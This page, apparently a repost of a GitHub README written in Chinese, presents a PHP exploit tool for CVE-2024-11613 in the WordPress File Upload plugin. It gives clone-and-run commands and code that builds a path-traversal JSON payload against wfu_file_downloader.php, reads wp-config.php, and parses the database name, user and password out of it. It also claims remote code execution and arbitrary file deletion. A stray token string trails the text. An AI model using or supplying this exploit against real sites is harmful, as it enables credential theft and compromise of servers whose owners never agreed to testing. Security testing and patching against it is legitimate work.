WordPress文件上传插件漏洞利用工具(CVE-2024-11613)

5 阅读3分钟

WordPress文件上传插件漏洞利用工具 (CVE-2024-11613)

项目概述

本项目是一个专门针对 WordPress File Upload 插件(版本 ≤ 4.24.15)中存在的 CVE-2024-11613 漏洞的概念验证(PoC)与利用工具。该漏洞允许未经身份验证的攻击者通过 wfu_file_downloader.php 文件中的路径遍历缺陷,实现远程代码执行、任意文件读取和任意文件删除等危险操作。本工具由安全研究员 Chirag Artani 开发,旨在帮助安全专业人员评估 WordPress 站点的安全性。

功能特性

  • 🔓 远程代码执行 - 利用 JSON payload 构造绕过 sanitization 机制,在目标服务器上执行任意代码
  • 📁 任意文件读取 - 突破目录限制,读取 WordPress 配置文件(wp-config.php)等敏感信息
  • 🗑️ 任意文件删除 - 通过精心构造的请求,删除服务器上的任意文件
  • 🛠️ 自动化利用 - 封装完整的攻击链,只需提供目标 URL 即可自动检测并利用漏洞
  • 📊 详细输出 - 实时显示攻击过程中的 HTTP 交互和服务器响应
  • 🔍 配置提取 - 自动解析数据库凭证、表前缀等关键配置信息

安装指南

系统要求

  • PHP 5.6 或更高版本(推荐 PHP 7.4+)
  • 启用了 cURL 扩展
  • Web 服务器(如 XAMPP、WAMP、LAMP)或 CLI 环境

安装步骤

  1. 克隆代码库

    git clone https://github.com/3rag/wp-file-upload-exploit.git
    cd wp-file-upload-exploit
    
  2. 确保 PHP 环境配置正确

    php -v
    php -m | grep curl  # 确认 cURL 扩展已启用
    
  3. (可选)配置 Web 服务器 如果使用 XAMPP,将文件放入 htdocs 目录并通过浏览器访问。

使用说明

基础用法

通过命令行执行 PHP 脚本,指定目标 WordPress 站点的基础 URL:

php exploit.php http://target-wordpress-site.com

工作流程示例

  1. 初始化 - 工具构建插件 URL 并验证目标是否可达
  2. 构建恶意 payload - 生成包含路径遍历和 JSON 数据的恶意请求
  3. 发送请求 - 向 wfu_file_downloader.php 发送特制请求
  4. 解析响应 - 提取并显示目标服务器的 wp-config.php 内容

代码示例

<?php
// 创建漏洞利用实例
$exploit = new WFUExploit('http://example.com');
$payload = $exploit->createPayload('../../../../wp-config.php', '/var/www/html/');
$response = $exploit->sendExploit($payload);
echo $exploit->extractContent($response);
?>

典型使用场景

  • 安全审计:在授权范围内检测 WordPress 站点是否存在此漏洞
  • 渗透测试:验证目标能否通过文件读取获取数据库凭证
  • 应急响应:快速评估补丁安装后是否仍有残余风险

核心代码

WFUExploit 类构造函数

class WFUExploit {
    private $plugin_url;
    private $wordpress_url;
    private $output = '';
    
    /**
     * 初始化漏洞利用对象
     * @param string $wordpress_url 目标 WordPress 站点的根 URL
     */
    public function __construct($wordpress_url) {
        $this->wordpress_url = rtrim($wordpress_url, '/');
        $this->plugin_url = $this->wordpress_url . '/wp-content/plugins/wp-file-upload/wfu_file_downloader.php';
    }
}

恶意 Payload 生成器

/**
 * 创建用于路径遍历的 JSON payload
 * @param string $target_file 要读取/删除的目标文件路径
 * @param string $abspath WordPress ABSPATH 变量(用于构造路径)
 * @return string 编码后的 JSON 字符串
 */
private function createPayload($target_file, $abspath) {
    return json_encode([
        'type' => 'normal',
        'ticket' => 'ABC123',  // 硬编码 ticket 值,插件未充分验证
        'filepath' => $target_file,  // 用户可控的文件路径
        'handler' => '',
        'expire' => time() + 3600,
        'wfu_ABSPATH' => $abspath,   // 注入的 ABSPATH 值,影响路径解析
        'wfu_browser_downloadfile_notexist' => 'File not found',
        'wfu_browser_downloadfile_failed' => 'Download failed'
    ], JSON_UNESCAPED_SLASHES);  // 保留斜杠以支持路径遍历
}

WordPress 配置解析器

/**
 * 从 wp-config.php 内容中提取数据库配置
 * @param string $content 配置文件内容
 * @return array 包含数据库名称、用户、密码、主机和表前缀的关联数组
 */
private function parseWPConfig($content) {
    $config = [];
    $patterns = [
        'DB_NAME' => "/define\(\s*'DB_NAME',\s*'([^']+)'\s*\)/",
        'DB_USER' => "/define\(\s*'DB_USER',\s*'([^']+)'\s*\)/",
        'DB_PASSWORD' => "/define\(\s*'DB_PASSWORD',\s*'([^']+)'\s*\)/",
        'DB_HOST' => "/define\(\s*'DB_HOST',\s*'([^']+)'\s*\)/",
        'TABLE_PREFIX' => "/\\\$table_prefix\s*=\s*'([^']+)'/"
    ];
    
    foreach ($patterns as $key => $pattern) {
        preg_match($pattern, $content, $matches);
        $config[$key] = isset($matches[1]) ? $matches[1] : 'Not found';
    }
    
    return $config;
}

HTTP 响应内容提取器

/**
 * 从 HTTP 响应中分离出主体内容
 * @param string $response 原始 HTTP 响应
 * @return string 剥离 HTTP 头后的响应体
 */
private function extractContent($response) {
    if (strpos($response, "\r\n\r\n") !== false) {
        list($headers, $body) = explode("\r\n\r\n", $response, 2);
        return $body;  // 返回不含 HTTP 头的纯文件内容
    }
    return $response;
}

安全注意事项

  • 仅限授权测试:在未获得明确授权的情况下,使用此工具攻击他人网站是违法行为
  • 风险自担:本工具仅用于教育和合法的安全评估,开发者不承担任何滥用责任
  • 及时修复:如果发现系统存在此漏洞,请立即将 WordPress File Upload 插件升级至 4.24.15 以上版本FINISHED 6HFtX5dABrKlqXeO5PUv/+f9WgHAQo6EmA2xiG9JSe3aWtppVtH+ZtQChkxSvora